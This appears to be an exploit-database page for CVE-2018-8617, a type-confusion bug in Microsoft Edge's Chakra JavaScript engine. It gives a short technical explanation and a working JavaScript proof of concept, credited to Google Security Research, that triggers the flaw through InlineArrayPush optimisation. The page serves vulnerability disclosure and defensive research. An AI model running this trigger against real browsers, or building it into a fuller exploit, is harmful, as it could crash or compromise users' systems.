Materialized exploit

CVE-2018-8617

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'InlineArrayPush' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.

PoC:
*/

function opt(a, b) {
    a.b = 2;
    b.push(0);
    a.a = 0x1234;
}

function main() {
    Object.prototype.push = Array.prototype.push;

    for (let i = 0; i < 1000; i++) {
        let a = {a: 1, b: 2};
        opt(a, {});
    }

    let o = {a: 1, b: 2};
    opt(o, o);

    print(o.a);
}

main();